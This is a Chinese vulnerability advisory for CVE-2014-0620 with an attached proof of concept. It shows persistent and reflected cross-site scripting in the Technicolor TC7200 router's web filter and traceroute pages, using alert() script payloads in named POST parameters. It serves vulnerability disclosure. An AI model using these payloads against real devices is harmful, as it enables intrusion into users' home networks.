CVE(CAN) ID: CVE-2014-0620
Technicolor TC7200是调制解调器和路由器产品。
Technicolor TC7200在实现上存在多个跨站脚本漏洞,成功利用后可获得敏感信息等。
0
technicolor TC7200 STD6.01.12
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew ays/cable-modems-gatewa
# Exploit Title: Technicolor TC7200 - Multiple XSS Vulnerabilities
# Google Dork: N/A
# Date: 02-01-2013
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage:
http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew
ays/cable-modems-gateways/tc7200-tc7300
# Software Link: N/A
# Version: STD6.01.12
# Tested on: N/A
# CVE : CVE-2014-0620
#
# Proof of Concept:
#
#
## Persistent Cross Site Scripting:
#
# POST : http://<ip>/parental/website-filters.asp
# Parameters:
#
# WebFilteringTable 0
# WebFilteringChangePolicies 0
# WebFiltersADDKeywords
# WebFilteringdomainMode 0
# ADDNewDomain <script>alert('IT Nerdbox');</script>
# WebFiltersKeywordButton 0
# WebFiltersDomainButton 1
# WebPolicyName
# WebFiltersRemove 0
# WebFiltersADD 0
# WebFiltersReset 0
#
#
## Reflected Cross Site Scripting
#
# POST : http://<ip>//goform/status/diagnostics-route
# Parameters:
#
# VmTracerouteHost "><script>alert('IT Nerdbox');</script>
# VmMaxTTL 30
# VmTrIsInProgress 0
# VmTrUtilityCommand 1
#
# Check out the video at: http://www.nerdbox.it/technicolor-tc7200-xss-vulnerabilities/